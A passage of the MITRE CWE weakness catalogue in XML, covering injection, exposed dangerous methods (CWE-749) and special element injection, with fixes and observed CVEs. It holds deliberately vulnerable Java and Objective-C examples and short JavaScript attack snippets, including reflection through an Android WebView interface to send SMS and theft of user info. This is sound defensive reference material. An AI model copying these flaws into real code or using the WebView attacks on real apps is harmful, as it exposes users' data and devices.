               <Link>https://www.cve.org/CVERecord?id=CVE-2022-36069</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0067</Reference>
               <Description>Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0067</Link>
            </Observed_Example>
            <Observed_Example>
              <Reference>CVE-2022-1509</Reference>
              <Description>injection of sed script syntax ("sed injection")</Description>
              <Link>https://www.cve.org/CVERecord?id=CVE-2022-1509</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-9054</Reference>
               <Description>Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2021-44228</Reference>
	      <Description>Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability)</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2021-44228</Link>
	    </Observed_Example>
          </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Injection problem ('data' used as something else)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="101"/>
            <Related_Attack_Pattern CAPEC_ID="105"/>
            <Related_Attack_Pattern CAPEC_ID="108"/>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="135"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="250"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="273"/>
            <Related_Attack_Pattern CAPEC_ID="28"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="34"/>
            <Related_Attack_Pattern CAPEC_ID="42"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="51"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
            <Related_Attack_Pattern CAPEC_ID="83"/>
            <Related_Attack_Pattern CAPEC_ID="84"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Theoretical">Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationship_Notes, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Data into a Different Plane (aka 'Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Data into a Different Plane ('Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="749" Name="Exposed Dangerous Method or Function" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.</Description>
         <Extended_Description>
            <xhtml:p>This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.</xhtml:p>
            <xhtml:p>The exposure can occur in a few different ways:</xhtml:p>
            <xhtml:ul>
               <xhtml:li>The function/method was never intended to be exposed to outside actors.</xhtml:li>
               <xhtml:li>The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Other</Impact>
               <Note>Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>accessible to all users</xhtml:li>
                        <xhtml:li>restricted to a small set of privileged users</xhtml:li>
                        <xhtml:li>prevented from being directly accessible at all</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void removeDatabase(String databaseName) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>Statement stmt = conn.createStatement();<xhtml:br/>stmt.execute("DROP DATABASE " + databaseName);<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (SQLException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>private void removeDatabase(String databaseName) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>Statement stmt = conn.createStatement();<xhtml:br/>stmt.execute("DROP DATABASE " + databaseName);<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (SQLException ex) {...}<xhtml:br/>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-109">
               <Intro_Text>These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:i>// Android</xhtml:i>
                     <xhtml:br/>@Override<xhtml:br/>public boolean shouldOverrideUrlLoading(WebView view, String url){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){<xhtml:div style="margin-left:1em;">if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){<xhtml:div style="margin-left:1em;">writeDataToView(view, UserData);<xhtml:br/>return false;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">return true;</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Objective-C">
                  <xhtml:div>
                     <xhtml:i>// iOS</xhtml:i>
                     <xhtml:br/>-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>NSURL *URL = [exRequest URL];<xhtml:br/>if ([[URL scheme] isEqualToString:@"exampleScheme"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>NSString *functionString = [URL resourceSpecifier];<xhtml:br/>if ([functionString hasPrefix:@"specialFunction"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Make data available back in webview.</xhtml:i>
                                       <xhtml:br/>UIWebView *webView = [self writeDataToView:[URL query]];</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>return NO;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return YES;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A call into native code can then be initiated by passing parameters within the URL:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>window.location = examplescheme://method?parameter=value</xhtml:div>
               </Example_Code>
               <Body_Text>Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class WebViewGUI extends Activity {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>WebView mainWebView;<xhtml:br/>
                           <xhtml:br/>public void onCreate(Bundle savedInstanceState) {<xhtml:div style="margin-left:1em;">super.onCreate(savedInstanceState);<xhtml:br/>mainWebView = new WebView(this);<xhtml:br/>mainWebView.getSettings().setJavaScriptEnabled(true);<xhtml:br/>mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");<xhtml:br/>mainWebView.loadUrl("file:///android_asset/www/index.html");<xhtml:br/>setContentView(mainWebView);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>final class JavaScriptInterface {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>JavaScriptInterface () {}<xhtml:br/>
                                 <xhtml:br/>public String getUserInfo() {<xhtml:div style="margin-left:1em;">return currentUser.Info();</xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.</Body_Text>
               <Body_Text>For example, if the application has permission to send text messages:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>&lt;script&gt;<xhtml:div style="margin-left:1em;">userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber, null, attackMessage, null, null);</xhtml:div>&lt;/script&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>final class JavaScriptInterface {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>JavaScriptInterface () { }<xhtml:br/>
                           <xhtml:br/>@JavascriptInterface<xhtml:br/>public String getUserInfo() {<xhtml:div style="margin-left:1em;">return currentUser.Info();</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>&lt;script&gt;<xhtml:div style="margin-left:1em;">var info = window.userInfoObject.getUserInfo();<xhtml:br/>sendUserInfo(info);</xhtml:div>&lt;/script&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This malicious code within an iframe is able to access the interface object and steal the user's data.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-6382</Reference>
               <Description>arbitrary Java code execution via exposed method</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6382</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1112</Reference>
               <Description>security tool ActiveX control allows download or upload of files</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1112</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="500"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-503"/>
            <Reference External_Reference_ID="REF-510"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Exposed Insecure Method or Function</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="75" Name="Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not adequately filter user-controlled input for special elements with control implications.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Programming languages and supporting technologies might be chosen which are not subject to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Special Element Injection</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="81"/>
